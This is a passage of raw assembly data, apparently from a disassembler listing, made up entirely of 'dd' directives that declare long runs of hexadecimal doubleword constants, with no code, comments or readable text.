17BA8075h dd 598EC1DEh, 278AC144h, 4174316Ch, 4459E0A4h, 0B4EB11B8h dd 0C0A6DDC0h, 0ADF292Bh, 49A68C3h, 0FB0DE768h, 0FE138003h dd 0B887487Ah, 0D77C7544h, 35313D25h, 0ED96CFF8h, 912D1A0Dh dd 0C50BD306h, 0E15AE6CBh, 0D10BC5Eh, 0FF0A103Eh, 7B7B9AC6h dd 0EC56B54h, 1EAC771h, 0FE1B6C30h, 7B5B2343h, 0C17A78C5h dd 0BDDB2070h, 0E171D058h, 5D2AF5D5h, 0F69FCDBEh, 78DAEF8h dd 413FD68Dh, 5AA2CB7Ah, 36789AA9h, 1C0F2753h, 0C5FA399Fh dd 6FAF4B81h, 8B2FE987h, 2E0AE5EFh, 0B4251E29h, 0C3EB36B2h dd 0ED8F9658h, 5C0F80BBh, 9AAE024Fh, 0EAB381F1h, 0CC5AAC88h dd 70F45837h, 3A9BF168h, 0B02967Bh, 885E677h, 4D3AD251h dd 96843FF3h, 0E660788Bh, 0E43409BFh, 0DE7298C8h, 0AF884956h dd 0B47AA6B7h, 59CD7815h, 7B445FB6h, 0D606FA98h, 2AEDA878h dd 0DC2AF969h, 541DE476h, 0B45D3E76h, 0DEA16C7Bh, 0F6836922h dd 82338BFDh, 0D6F03E7Bh, 3736CFCEh, 1BEEB2CFh, 4DEA9FAh dd 0F0C2F9F2h, 0B2C6F81Ch, 0BA07FF9Dh, 8B22FFC4h, 961570BAh dd 0B6654057h, 57396984h, 0F8C895F0h, 0DF39E7DCh, 4496BB87h dd 81E1E4B8h, 0FC031FB5h, 81C5FF5Fh, 0B82F63B4h, 25CDC42Fh dd 0B1E0DC77h, 7CAECB5h, 6AF0667Dh, 0B1EDDE93h, 7F10D4E7h dd 1E8CA391h, 0BE3A93C5h, 171F4AFBh, 40DFB32Bh, 0E02958A3h dd 0E02BE3A6h, 2EDB2024h, 0F5336967h, 0A3E2116Bh, 7788DB8Bh dd 0DE398CEDh, 0FE5628BBh, 0E670DD77h, 4AF6D2E4h, 0DA513776h dd 0F015F879h, 0D6AABD95h, 1ABDA213h, 9BEC5201h, 17397C02h dd 89B7C20Ah, 0FB4D9643h, 9B1EEA8Eh, 26CAAA6Ah, 0BC5FE7B9h dd 0BF7DF169h, 67E9A2B8h, 0E8EC6B20h, 70D69E9Bh, 0CEEFF10h dd 0C4F61CDFh, 9F82085Ch, 0CE8850B4h, 0F61D09B0h, 0DF05DBD9h dd 0A4B31B8h, 5D6EDCF4h, 14A27757h, 63DB91D1h, 7764E2FFh dd 0C83E60Bh, 0FC3D702Eh, 0DEC15FB4h, 0B278B9E2h, 8ABF4829h dd 0E5D8ADEFh, 55206BB5h, 0CDB5FCADh, 0BD39D5Ah, 358EEAAFh dd 0C673F66Ah, 2AF7C33Fh, 69270657h, 99C0F7EEh, 52C38AB3h dd 2D95E39Fh, 517C5766h, 600B71FDh, 0CC3AB784h, 5FA75974h dd 7670EACh, 4DA26B41h, 0E0FD1E7Dh, 3F3F3AB7h, 6A980936h dd 999B8BF0h, 0C25CE56Fh, 0E56E028Eh, 3A8CB1D9h, 0D84B12FBh dd 0DC9633C1h, 0C387E388h, 0C215FB5Dh, 9779DC90h, 5A4AB88h dd 0D1CDC83Ch, 0F11D2957h, 0A393C8ABh, 0E034FF9Eh, 695BACC3h dd 0CD67258Eh, 0BD4A8073h, 0F1251BEBh, 0EDC2B9h, 9CB456A5h dd 0D2AC83EDh, 164FBE5Dh, 0E26A0519h, 13719A79h, 7F05A0BEh dd 4D6CDB5Dh, 465DE0C1h, 55460AD1h, 38847EB1h, 4E7D598Eh dd 72B3A765h, 0A6E8DC49h, 3147F49Ch, 0BB33DB46h, 1354B49Bh dd 54CA4965h, 8AE29362h, 2E802B62h, 0F0375274h, 0EB63F963h dd 8A867FAFh, 8EECB5Ch, 0B445BCAEh, 35AA76F8h, 3E088AFCh dd 0D8607E45h, 36908AC2h, 0F775A885h, 0DF9E23B6h, 0D9B6D923h dd 3C546F24h, 0D70EA98h, 0F02C98F5h, 0DD2C2AD3h, 0E9C77273h dd 0E0F9D3F3h, 0A37066B1h, 3E81EC5Ah, 8F47D617h, 0AE894ED4h dd 814BC4D5h, 6253F929h, 87531AACh, 0AFD451B7h, 0D17C0F87h dd 97ECA02Dh, 3512C10Fh, 7129E25Dh, 7421AD3h, 327ABAD8h dd 0A5B7F00Ah, 44DA4418h, 7F3C8B76h, 29CA9B23h, 69FE7837h dd 0D43A177Eh, 0E7A67C0Bh, 44915518h, 5AAB7E51h, 9639AC02h dd 9C5EC177h, 1910C71Fh, 0EFC6EB43h, 3EBA3035h, 0AB6EDF58h dd 5D1655E8h, 0A233ACA8h, 0F1CFAD5Ch, 44CBFCE1h, 705E33EDh dd 0F7C21FFh, 0A3513568h, 6A99F9C6h, 0BA145E85h, 5FB3317Dh dd 651AC1F8h, 571094ABh, 0DA0E4EB1h, 0AEE9B095h, 988BBF17h dd 0A6079DF8h, 7760271Bh, 2527AD5Ah, 0B5A33FAFh, 19FB8E2Dh dd 76A4655Dh, 0BB537D9Fh, 4DE4EA7h, 3E6DD62h, 2AB1A2FEh dd 0EC65DAF1h, 542FC6B4h, 456534C2h, 0BEC9D05Fh, 0DBF2B0FCh dd 17D696A7h, 0FB4C6CBFh, 0CFA2E619h, 0CA884A37h, 0CA519D9Bh dd 0CD7BEE5Fh, 0D46219EDh, 0FF396778h, 0D4829CD7h, 383E7823h dd 0CAB5D42Dh, 6C11EE54h, 1554FE4Ch, 4AFFC279h, 10B470FAh dd 0C29F56C8h, 0FDCD2D65h, 5A303E82h, 75EDC447h, 8F898ACFh dd 95C86BCFh, 7B7749E1h, 0C0FEEA50h, 637EEAABh, 7312E815h dd 0F15E14AFh, 0C7C4ABC0h, 0A9303E5Ch, 0DC355EBCh, 6C7C9E1Fh dd 8DB0C8DDh, 0CC76A4AFh, 0CAAE4E89h, 29E8AC8h, 0EF051804h dd 6B3EC5FAh, 0DEE65A35h, 0F466806Bh, 0B422662Ah, 0E11D5Fh dd 198822FAh, 5936C6F5h, 81F04BBAh, 36CEDC2Fh, 0B464BEB2h dd 0C051E53Bh, 5F3F5759h, 8125653Bh, 49DC41h, 7F670017h dd 6DB50E0Fh, 0A249049Bh, 0DE17616Bh, 98AD2969h, 0AD0A2653h dd 3E9556A5h, 5D5CD617h, 37EE4E47h, 77DF641h, 9DD1DFABh dd 2F81C2ECh, 5C030EE3h, 0CA3C62Fh, 0ED70DB08h, 0A00AF565h dd 6AB9F69Ah, 0D046D971h, 0D2C550E3h, 7DFC0FFAh, 95D0EF69h dd 418B78AEh, 0B6028727h, 0A8C52812h, 4762A6F9h, 0F5962149h dd 0CCC2A3BCh, 0CEAACF58h, 0F4DD32A8h, 0D9317059h, 8110ADA0h dd 432D1EF5h, 7D3953E0h, 0EA87A552h, 6E8DE1C0h, 2EA7CB6Dh dd 547B2BB4h, 77D750h, 6A3533B5h, 0BC581997h, 0B3C0F915h dd 8554142Ah, 0C0637ACFh, 2D3CDAADh, 8B8EC6Ch, 8524B285h dd 0D7AB12CFh, 0B90A1113h, 0F87895AEh, 0A84D09A7h, 0C173A76h dd 837A4AB8h, 0F26B9C23h, 6F6CE4E6h, 2676BA7Bh, 5D8E474Fh dd 83EF81F1h, 9C42ED6Fh, 517B29BBh, 0E05976D1h, 0A35F2456h dd 8F9F8AB3h, 26ADE07Dh, 794EA5ABh, 7F7E187h, 0E50041BAh dd 0A9589F3h, 0E67DFA3Ch, 1F14780Ah, 6F3CD0C8h, 0F6EC91BAh dd 0FF4DC56Eh, 0C32FEA01h, 4D9E0D33h, 0F5BA8B54h, 0C557E1C9h dd 5A951751h, 8932ABE9h dd 0DA2F86h, 1F870FC5h, 0C1954790h, 0B9AF5AC2h, 79D1B044h dd 0F850B9EFh, 5C64B8Fh, 359070ECh, 2BF7A0BBh, 84CF65B2h dd 6D5A4454h, 553B3603h, 126FBF1Bh, 1155DB4Eh, 5E70A2EDh dd 0EA7AB863h, 0D65F3581h, 0F85C7A3Fh, 0BEDDA2D5h, 90187F6Fh dd 3386A241h, 0CBC7A354h, 0CDBAB253h, 68CC6584h, 0E60B3801h dd 976E1BF7h, 65C0F674h, 0DE8B39B9h, 6F5FAAEDh, 68AB825h dd 0D558AAAh, 0D3660223h, 0C64303F7h, 0C615BFD0h, 0E07C7526h dd 32C1A81Bh, 49FCC9AAh, 0DB2F7273h, 0D2B45FF2h, 0DC6A3BF7h dd 0E91BC0F2h, 2EFB3FE6h, 15A7083Ch, 3A0637DFh, 0DCEABA56h dd 0A55B17F1h, 5445156Ch, 34AD7756h, 6694AC4Bh, 981AE6A3h dd 581F1D26h, 257AF0D4h, 0C0CBC0E3h, 5CABA21Ah, 91AD4AAAh dd 936DC6FCh, 3ED5329Dh, 0A98A2A0Bh, 989283B9h, 0C1E74761h dd 6AE005C2h, 0E68E4462h, 0A01257FFh, 3D4F17DDh, 0B476726Dh dd 0C8D92C7Bh, 0E06B656Eh, 0E0DDB9E3h, 36112FE7h, 25C931B7h dd 0BF2E8856h, 31D2008Ch, 0ED91B4D5h, 1DC7C27Eh, 0AE30A7CAh dd 0C7839EAEh, 8110F2FBh, 3DC83AE3h, 0FFC16384h, 9BE07BD2h dd 0EC5D0D7Ah, 16D97C24h, 603D7187h, 5A2F7F7Dh, 673EBD81h dd 0E342FD5Eh, 0B0CAE6Ah, 0AB9369FEh, 0CEF3246Ah, 0A755A4A7h dd 3AB9E39Ah, 9A9BAF8Dh, 8A3E7DA7h, 3BB9A103h, 65428EE4h dd 7307424Eh, 0EDCC664Ch, 63B42A99h, 6DFAA0E2h, 0F96BE17Dh dd 0B45C7CBFh, 0B40568E1h, 6CB1B84Eh, 0D36BE63Ah, 2A1813BDh dd 0BD985D2h, 0B3787530h, 0AAAE0C2Bh, 78B015F8h, 69B97405h dd 552F10CCh, 0CA1F8326h, 684E303Fh, 0DEDFCB98h, 0F83B649Fh dd 11B8908h, 5D3A9B27h, 0B05C5A6Bh, 4FC31145h, 0FBE28A7Dh dd 0A4907020h, 0FABEA214h, 5B73085Dh, 90B2BAA9h, 9B97683Dh dd 657FB01Bh, 1F9BA862h, 0F82EF1DAh, 808B9A87h, 0D795FB51h dd 1DF3D8E7h, 45FA926Fh, 7F078D1Eh, 35EEB6E7h, 7514F504h dd 8A747361h, 6308924Eh, 6A1F2ED2h, 0BCA6DA55h, 0DCFC4989h dd 6CE7D976h, 3B23DA3Ch, 0C45D0D36h, 5A56245Fh, 9E00A07Eh dd 1DD19D8Bh, 2F17A413h, 3F2E013h, 98F68BF0h, 0BB955DA1h dd 681F56ADh, 68B0ECFCh, 4E92D5C2h, 22AA8BE1h, 4FE474EAh dd 1EFFAF23h, 0E0AFF67Dh, 0F7F53ADAh, 75E96DDBh, 2B1AA9DAh dd 2F134D36h, 0EDD1F0DFh, 53BC7F07h, 2EE24AFh, 0A23BD3B5h dd 30DB7F47h, 7387BE13h, 0B6E46F1Eh, 21B30388h, 1475DBC1h dd 116F6B0h, 52BDA39h, 0FAD68C0Fh, 2154DBDh, 0C65FC249h dd 52D70166h, 0A1BF8DFEh, 0E1E7AD3Bh, 808F332Ah, 3987CBA9h dd 1542F9D8h, 1E7CCEBFh, 84500033h, 15059E24h, 0C97D800Ch dd 2C965E8Dh, 89B9705Dh, 5BF93DD5h, 67F0651Dh, 0F3446904h dd 70293AB9h, 0FC0FAB75h, 98DDE33Eh, 0FC1BACFEh, 0D3C9045Eh dd 77B1763Fh, 6C16E360h, 0EDB4970Eh, 0B1CC6DFDh, 0F3527B00h dd 76D6B2BFh, 0C040A276h, 47AEE6AFh, 6955BB6Ah, 0AB905699h dd 47E3E514h, 0C068A70Ah, 726FFB7h, 6AB0E2E2h, 58A2768Ch dd 6F1C0B4h, 0BFF99544h, 0EB190978h, 1AE6D555h, 5965C059h dd 0D07B92B5h, 0E51EC085h, 0EB1F9576h, 29ED1EFDh, 189485D4h dd 3CFBEF7Ch, 915D008Bh, 40ACC376h, 0B5F27DCFh, 0A38A4BA5h dd 5E91F62Dh, 8465CBF3h, 0FA6D2403h, 0AF7969D4h, 0DFDC7145h dd 55E50CFEh, 51B03FDEh, 576AA167h, 2DF1DEDh, 0C93AC3BBh dd 15DBC5Fh, 17C5B452h, 95349B51h, 3305EA8Ch, 352FDF30h dd 54ADDD2h, 0B1C4D2BCh, 73546333h, 14111FFCh, 7A825B63h dd 1C4B2D93h, 0F4217790h, 71DB285Fh, 34ADC0D1h, 3F09184Eh dd 0F4E429F4h, 35C567E6h, 99F4AA43h, 6D1057AEh, 39C7B956h dd 2DBB3264h, 0B21D0C0Fh, 0C23169F0h, 6C606D0Ah, 3588D0ADh dd 0A9A72D58h, 3FF1134Ch, 6BB8374h, 4B81464Ah, 0E7D550F0h dd 31C191F9h, 28BC887Bh, 5D247542h, 8CD04CC2h, 0DEB37AE1h dd 0FDF8FBEFh, 0CEDD7D6Ch, 0BA02F28Fh, 73278B88h, 680543A5h dd 0A3C33DBDh, 672D1457h, 0A8DACBF2h, 0AD607C32h, 6A66D2CCh dd 5F83CAF6h, 716E6EEDh, 6744217Ah, 6C5A602Ah, 4E29ABA8h dd 821868CCh, 0E0FF2BC9h, 6BE02D5Eh, 543015F9h, 0B17E06AFh dd 1996A401h, 85B66765h, 0E33FF6C5h, 0D8D32B0Eh, 8EF25A4Dh dd 150346A7h, 0DD410F6h, 1F6BE1Fh, 899F2873h, 167E48B3h dd 981B4622h, 26F93A9Eh, 0BDD80AEAh, 3E60A36Eh, 0E300AE44h dd 0BB639024h, 0CEB50F03h, 0E28254F3h, 0B3A5934Bh, 7D8E0C4Dh dd 1323CCBEh, 6510B454h, 5DDC3D4Eh, 0CDC43A70h, 9424BF9Bh dd 0D4BCABC8h, 77E6395Eh, 57436536h, 1BF6864Fh, 0C61267F1h dd 5BA91FD8h, 8535B5C7h, 952FB707h, 0D142E7C8h, 0F08FF52h dd 810FC6C5h, 63CF4C9Eh, 0DA54F6CFh, 4B55D3DAh, 5D4F83B7h dd 5FE0589Fh, 19DEF93Ch, 7B62A2EAh, 0C009A5DBh, 0AFBE18h dd 5DECC4Dh, 0A2F3C8E8h, 0F8159A48h, 0FA806662h, 8D018EBBh dd 0B489EBAEh, 7881A6C7h, 0D756B16Bh, 0B550057Ch, 0DC97B75Ah dd 0F9CA7B0Eh, 5128C0CEh, 51AF1157h, 7CF56B76h, 55558159h dd 77662B3Bh, 9C52473Eh, 3B9A9EFEh, 647636F3h, 0FD7FB854h dd 15F40F47h, 0F69771D0h, 8083DA2Ch, 0A05E695h, 5041BFB6h dd 0EABE2CA8h, 3AF33F63h, 18AA6A9Bh, 0A8B74E2Eh, 928A06F5h dd 0C3F4D6FCh, 303D6CCCh, 8724B0B2h, 5DBCBC35h, 5AC69D69h dd 0C19FC534h, 782E025Dh, 77F386A9h, 356AD60Bh, 0CC53A7Ch dd 0CC817F9Eh, 623396D7h, 17F1F5FBh, 5E9D6472h, 45A51ABDh dd 5F1C3727h, 3F346B3Fh, 0F247F757h, 0CD768478h, 0F3FB028h dd 0A3D48DBh, 442643B2h, 0D829890Ah, 8FDF8D1Ah, 0C52B02C8h dd 0E86AAAF4h, 72591D4Bh, 0FB420B25h, 0B94FFCA8h, 0CABB5BA5h dd 55DDC2BBh, 0CB072925h, 9C3F7F36h, 6BEC9606h, 7AE474B7h dd 2DF5BE06h, 94C5B3CCh, 2AA9AC56h, 0AD119A3Bh, 48370A0Fh dd 81EFC972h, 92DE1F07h, 9B0FB479h, 0CF7DEFEAh, 4550778Fh dd 2D0B4427h, 139781FCh, 437F3617h, 876B4DB6h, 1F8ACBCBh dd 556E3AD5h, 9D7935B3h, 0EF8D66A3h, 0B3A630DDh, 0A7CAB1E4h dd 3B4759B0h, 91C1E22Ah, 0B315C8FDh, 776B25Eh, 2BD7A82h dd 0E1967669h, 0EAFC9E5Eh, 0A5761894h, 2E7BC274h, 44EEF4Eh dd 350C4C5h, 0DF902F74h, 0EDF7A751h, 0FD1A9011h, 6E92EB46h dd 8BE5AB86h, 0AE7AB77h, 0C1FCCCD0h, 0C860E856h, 0F2FFAD45h dd 3ABBB84Ah, 0F9C5B471h, 0B1B475F6h, 0EB391F2Bh, 556B2A87h dd 0A624A70h, 5FC10DCAh, 64F06D70h, 45C0F3B9h, 0D3DFBBB2h dd 6A7216B2h, 804717CEh, 50853E4Dh, 0DC7239E8h, 0D8FEB61Dh dd 7CA6ADE6h, 166D291Eh, 1FCE1834h, 204249D3h, 9D442C20h dd 7952DB7Ch, 0F4AE3FA6h, 0E2AC7BCBh, 0E7EFEF96h, 0BAAD7C27h dd 0F0313291h, 0B6E234BCh, 5BF9E710h, 0ADD55A13h, 7941482Bh dd 2F024B55h, 7E015D27h, 930FDA5Dh, 0A8ADA6ACh, 0BAC405A7h dd 8B40A917h, 0E87CE4DFh, 0E552462Bh, 0B0C4CF9Fh, 505CFAEFh dd 0A2284FFAh, 1E4FD211h, 9884823Eh, 0FAC628BEh, 0E5B01139h dd 0E30D529Bh, 0AECD679Bh, 0A25D8199h, 795100B7h, 0FCA8575Ah dd 0FEAF4BA6h, 17CBED57h, 169BDE39h, 0D4BC0F2Ah, 0C71C936Eh dd 0CBF6FE3Dh, 4CF2B70Dh, 7EB25A3Fh, 1C9137FEh, 0F09DF105h dd 48ECF51Ah, 0B5E753B8h, 0E79D430Fh, 0CA55E244h, 5DA3938Dh dd 0C917DD67h, 55D7B40Fh, 62FD38CEh, 53367950h, 5AF94600h dd 0A775AF01h, 5E5EE12Fh dd 0D538251h, 5456B09Fh, 67663ADDh, 8074E80Ah, 40B07C28h dd 22FE1F27h, 3A230FC3h, 0F92562E3h, 0EA5D1C23h, 73F777BFh dd 92B079E0h, 1AA0DC27h, 0A2A30FDFh, 66D554A1h, 0CA94815Dh dd 976A8469h, 5D9A56A2h, 19450EAh, 0BADD0DD7h, 0B8D630EBh dd 0FF30DC0Dh, 6287A71Fh, 2989AE25h, 7BEDAE30h, 3545DDE4h dd 0F6079BD7h, 48187F4Fh, 0B3DDA7E1h, 3AA40987h, 0D1FA955Ch dd 2FA1F89Ah, 1F51F49Eh, 5B850873h, 0ACA83F0Ah, 90555025h dd 0E7B6EAE7h, 0F16F8B1h, 5CE9FB98h, 64D8CF0Bh, 27A67CA0h dd 2A24AD16h, 9A36D318h, 0EB9984FFh, 4DBDBE1Dh, 0EB2BF41Bh dd 796E50FCh, 1E21474Bh, 3F1D6D4h, 0EF5F6B47h, 3B55AEA6h dd 3AD095F7h, 36F95ADAh, 9940AEEFh, 0A10524B2h, 471A1ADDh dd 404BDB06h, 0AD344121h, 853AA8A1h, 960BE70Eh, 67C18DBEh dd 8197D234h, 0BF3CB74Dh, 0EC8BE362h, 87E1B84Ah, 0F1F981E5h dd 0C66FF07Ah, 297E1E17h, 170C53Ah, 6FB5865Bh, 53B4496Fh dd 6A5B95B4h, 0BEB1C399h, 175F3593h, 0C3E46842h, 99B4F749h dd 0D593E8C6h, 9EC1D14Bh, 3968986Ch, 3F2E05D6h, 0DD143F1Fh dd 6CB3535h, 0E3B74EBDh, 0D351F4D4h, 2ACA2C52h, 0C2730247h dd 84BBC7F2h, 0BD0B5B3Ch, 0EAF97ED0h, 8FB503F3h, 1075ADC8h dd 3A368E4Dh, 0C31B8C97h, 2E7FE179h, 0F0CD50ACh, 1B5E0978h dd 0EA5709DAh, 0C7263BBCh, 22F9D83Ah, 8B4542D5h, 28B45FBFh dd 0D78823BBh, 1990F9C5h, 7DA5F91h, 59FFEA27h, 0CA3B9AE9h dd 5C12EA11h, 380839CEh, 75BE752Fh, 832BB093h, 1B8857BBh dd 0AAFA4565h, 8AA10FC6h, 0D475623Fh, 99DCAACCh, 0B5AACC3Ch dd 9A424D3Bh, 976070DFh, 0F610E0F8h, 0E21BEB6Ch, 675E73EFh dd 0C29F5063h, 0D4A065BBh, 50A1F828h, 93AB3EA3h, 0A5D96443h dd 0D93B29F4h, 59808774h, 1B7EBEFEh, 142425FAh, 210CF32Eh dd 1F36CE14h, 0D4C5FB44h, 8DDAEBE1h, 0FBD81F95h, 0DE994993h dd 39374176h, 7B4C8DA0h, 8B816C72h, 0DA129ABCh, 0DA3757A6h dd 0AAC9C3F0h, 0AAE75FC4h, 0FFA095Ah, 0BADA1976h, 0E6D640BAh dd 0C697460Dh, 0FC544A0h, 8A53DEAFh, 649217A2h, 16CAA7C7h dd 2B3E7BCEh, 7D810853h, 0BFC2C9E6h, 0CCBAFC7Fh, 6FFFCBC2h dd 9557D903h, 0A148267Dh, 2B4493ACh, 3EF60FBCh, 2DF39EDAh dd 0DC1AD0F3h, 0CC1F5458h, 82A78AE8h, 5B7C60EBh, 0BF52B380h dd 772E60BAh, 8D980CB8h, 7FE8205Ch, 0E0C8DE79h, 0C25CAE13h dd 0AF6329F4h, 0FF2B9EE4h, 0F28F7355h, 0D940B466h, 0AA9488C3h dd 0BA69963Ah, 14162A5Fh, 0E12BB3DCh, 14B74D35h, 0E0E7AE78h dd 0DCE4C94Ch, 0B285ABABh, 715591DBh, 0F7605DD9h, 0AF9FCD13h dd 0EF04D25Eh, 96C1B1F4h, 555DA196h, 0B37C4312h, 0E71CAC5Fh dd 548B23CAh, 0FA034AF2h, 91AEEC6Dh, 8AB44049h, 0FC332D15h dd 0AB7C7677h, 81E3FAEAh, 0BCDBBBBDh, 38D95B19h, 0FF7727F9h dd 5A56DEBCh, 50D6F4ADh, 1CFAEB76h, 37E26CF8h, 347367C8h dd 0D95364B1h, 0DA7D7B86h, 0F0406955h, 9CAEBC69h, 0D4FC8202h dd 6AEF23B6h, 32F9075h, 791D32B7h, 0CE1D5703h, 0F6B6C333h dd 9E10DAE9h, 0C3F1F8DEh, 0B25F2B2Fh, 6FB53E81h, 0F0967435h dd 22D7BDD5h, 57F03E7Eh, 0F7F63FA4h, 6873432Dh, 0F8FAD334h dd 5695D366h, 0B9461D44h, 55BE4640h, 9BC10F04h, 970EA8BEh dd 1470309Fh, 0E5D6BB6Bh, 0F795DDEFh, 0C656852Ah, 95932D8h dd 1F9CAA25h, 0F9774334h, 0A963D50Ah, 123EFB94h, 6D8ADE55h dd 0ED1988DDh, 32A391Ch, 0F9CF0B8Ch, 0F49560E3h, 0C4D5836Ch dd 951303C8h, 0FF15BDE5h, 4BFEFE1Bh, 191AB695h, 0BCFCB68Ah dd 50B3E8C4h, 0AA2361F5h, 0F7817F5Fh, 70F0D56Ah, 3CA3944Ah dd 0D16FB2E8h, 34959C0Fh, 2623DB9Dh, 638BF84Dh, 0DE2B72B0h dd 6DBE6D1Eh, 0A90FF632h, 8968D34h, 0D6459E56h, 0E02D99F7h dd 0FB210A47h, 0A80FE437h, 67E246C0h, 8FA9C929h, 25A03CBCh dd 0C735A97Ch, 3DAA1BD8h, 0AE0814F2h, 33002B8Bh, 0D8FDFACDh dd 324FF107h, 2E7C0A25h, 5BAF9483h, 0AB5CA6D7h, 5781F079h dd 0FFC7AC45h, 0F8073895h, 2BEAE949h, 5EAC9989h, 3F9A190h dd 0EF5236BEh, 7533060Eh, 44F70B71h, 6E44C4E9h, 0EA568BE9h dd 7BCC2973h, 485EEAAh, 8FB33577h, 0B4BA5C91h, 674BF3EDh dd 0D2CA4AFAh, 303FA81Ch, 14C8F36Ah, 789832F6h, 0E5AD9F42h dd 0C1838DC8h, 0C9404AAEh, 0F8E5D8DEh, 66D0C2AEh, 7623EECAh dd 4E6B744Fh, 0A6EE2ED4h, 8950D0A8h, 464FB6C8h, 0D8ACF343h dd 923C8862h, 0FA2DA4B0h, 9B7CE3A8h, 0F552938h, 1FAEBFCDh dd 80A5BEB1h, 0A05E2F97h, 0FBF0E08Fh, 0CBED8BF6h, 3FD488D8h dd 54F63506h, 9B3BE4FFh, 78686BAAh, 11598CBDh, 7F83C236h dd 0A1E8561Bh, 0E49DC3F0h, 5BFF88B9h, 0FA27181Eh, 1D479BFBh dd 9CF07910h, 0E51C8C17h, 88FE41C8h, 0A7E2007h, 79DE5EC1h dd 7E9437F3h, 0BEAC62E1h, 0CE0BD4B8h, 7E2661B7h, 207D6BAh dd 366BAD07h, 57725745h, 580EA8CDh, 8E78FCBEh, 0EAD61DA1h dd 0CA275ECBh, 8F128EF6h, 0C7338057h, 9C72F989h, 9D3EED87h dd 65BDFC31h, 4E8B3E86h, 99B0DC2Bh, 77B6BF8Ah, 2899E7DAh dd 0CE0F24h, 2965D3CFh, 439D4733h, 0A13D7EDCh, 2E694B2Ah dd 19CF8413h, 0DCBECD89h, 4F44B94Ch, 3A25D4D3h, 2F51A22Ah dd 381CDC6Fh, 1FD45F85h, 0B09844E2h, 0AFAD3EDAh, 975EC024h dd 0F2E6FD6Fh, 8C4AA16Ah, 7CD8672Ch, 0E2FAD510h, 89C2019h dd 0EC507C3Ch, 0C5BAD20Ch, 265C7E40h, 0AE73F6Fh, 6D9809ECh dd 0E15D0EDBh, 0C6BE010Ah, 0F7354447h, 0AD1F975Dh, 20D2B367h dd 7D4336A8h, 3BF40BC1h, 995AF414h, 0C6F13800h, 0CE12BAD8h dd 88B56EA6h, 0FAA7B55h, 6B4606B5h, 0CDD4280Dh, 9C9979ECh dd 4E9C48F8h, 0EA9F64Ch, 6A539C02h, 0B0F168D1h, 59013C95h dd 0F0256B7Bh, 898AA970h, 2E9EB6C7h, 739D5034h, 3308FD4Bh dd 63F8B554h, 0B94BC54Dh, 0D631675Eh, 7D501472h, 9B2C5C16h dd 394055E7h, 0A634E563h, 58FA4EFBh, 25E2D734h, 0A7D04715h dd 0FBEBA350h, 7DA8D8FCh, 0B59A63DBh, 52685749h, 0DA1F80ABh dd 0AB528AE9h, 52E7E951h, 348B2A67h, 35E2E21Eh, 95B9DE7Bh dd 885FD13Dh, 0DFC4AF8Ah, 0BE0876DBh, 22BA9A88h, 0ED169629h dd 83BE4CD8h, 7029BB71h, 557A29A2h, 90BBC5B5h, 5906B0FEh dd 0A0AEFC32h, 0DA0D7B7Ch, 6636A4FCh, 2C9CBF72h, 0EF87CCF9h dd 742D421Bh, 3DF870FAh, 0CAD0D67Eh, 282F1F85h, 0F0D92C70h dd 0CE1E5FAh, 0F5770554h, 0EEE4DA39h, 0B0C7247Eh, 0B01D3DD6h dd 11AE8527h, 6AFF012h, 5A95643Bh, 59FE57F0h, 0C47AB4C6h dd 13892070h, 126CB7D0h, 71BA4F5Ah, 94B4508Bh, 0AFF19B54h dd 21F8FFA7h, 0F449F15Ch, 1150BAAFh, 0A856955Dh, 1F0E07F8h dd 74CE8DD3h, 7B80A93Fh, 0CA841F62h, 0A4A2F910h, 7B8EB663h dd 0DB1CCBF5h, 73FD2573h, 0E7AF5B54h, 6BE5FF33h, 81E2CB39h dd 119ED018h, 0FB3A4DAAh, 0D90E86C2h, 2F7456Ch, 1EDE5F5Dh dd 2CF4BD7Dh, 88BB102Ch, 984E2FADh, 1B438964h, 8391321Fh dd 7AB71B03h, 0CBADC9F5h, 72E02DC8h, 0D1046B5Ch, 0AF445F29h dd 0A42F8F85h, 0E5812FBFh, 0FC151DDCh, 9073E26Dh, 0AA509A98h dd 0D481E8D2h, 554F8EBh, 510C13C8h, 1F73CEDEh, 8486938Eh dd 8DF036B1h, 49FC88ECh, 2BAA1F25h, 173AAE7h, 6E3C92B5h dd 7AFAD66Ch, 0A1F839FCh, 8DF54394h, 0B8C479Dh, 1B3FAAE0h dd 0F3624A39h, 93EF081Dh dd 0DEC2331Bh, 0F1519AC5h, 0C59E2B9Fh, 7EE76FDCh, 561F8BC5h dd 46D77E51h, 453452E8h, 0A2490A5Dh, 49ACC750h, 57C59BD5h dd 9E748C6Ch, 97ECF2AEh, 0D62D7DDFh, 0E261F0B7h, 7922BD44h dd 303DE3B3h, 0DD1F99C6h, 9B79F7E9h, 0CAFE039Dh, 0D1DC7033h dd 3733F560h, 0C9F24D97h, 7A7FB10Bh, 8C175FB8h, 0BEB56203h dd 4E177497h, 0EE4AD502h, 0FF03E5BAh, 14AFCA2Ch, 0DB5C9AEh dd 260B247Dh, 1D53019Dh, 452EB42Ch, 5BEA4536h, 471FC3C0h dd 0FBA1F5DCh, 26A16B7Ah, 34AF92F9h, 0C8ABAAF9h, 98DB16A7h dd 4B8EE725h, 57B45BEFh, 5DC8B2B4h, 0C1A4D350h, 0B64F48DFh dd 774D74BEh, 285A7C27h, 105F36B1h, 0BC0D0AA4h, 18FEC636h dd 58D6E29Fh, 0B9AE7CADh, 131AFAC7h, 0CD9FBAB2h, 9A6A93B0h dd 1A6748DBh, 971C688Ch, 0C3665FC1h, 6668EAD1h, 0BEA867Dh dd 0EF380CD5h, 0C400AE8h, 66E9562Eh, 8B66A5AFh, 5A8DB2ADh dd 2EA2C330h, 3008BF59h, 86079558h, 906BF4E5h, 0FE5E2ACDh dd 3BD6A380h, 0D5451447h, 0EEDAD0D0h, 0CECBDFF9h, 6745F6B6h dd 45CA1B3Fh, 0CC39F3ADh, 0E07ED82Bh, 9EEE32A7h, 79B6BCCDh dd 7105F8D7h, 0FE862572h, 4AF3F396h, 2438B61Fh, 0E9975A41h dd 0B4905544h, 9BB3BD5Fh, 5B8D256Fh, 0F87D3473h, 5AB988DAh dd 0DFF607F3h, 0C18C4864h, 405B75B3h, 3F379B8Ah, 98F855F1h dd 6315CD5Fh, 0D11412CAh, 0C75BA2EBh, 0F5B18F55h, 122FA111h dd 82E9A946h, 40FC61EFh, 8F870165h, 97708DEDh, 0F585662Ah dd 33AE962Fh, 54B73372h, 0AFD7A08h, 161FCE23h, 773D581Fh dd 47C78C7Ah, 0F05FC188h, 0EF52EFBCh, 135080BCh, 0C7C97713h dd 0C5D2A595h, 0B70B2625h, 1ADFA5ADh, 2E34E5FFh, 928D82AAh dd 2E739D68h, 4D120287h, 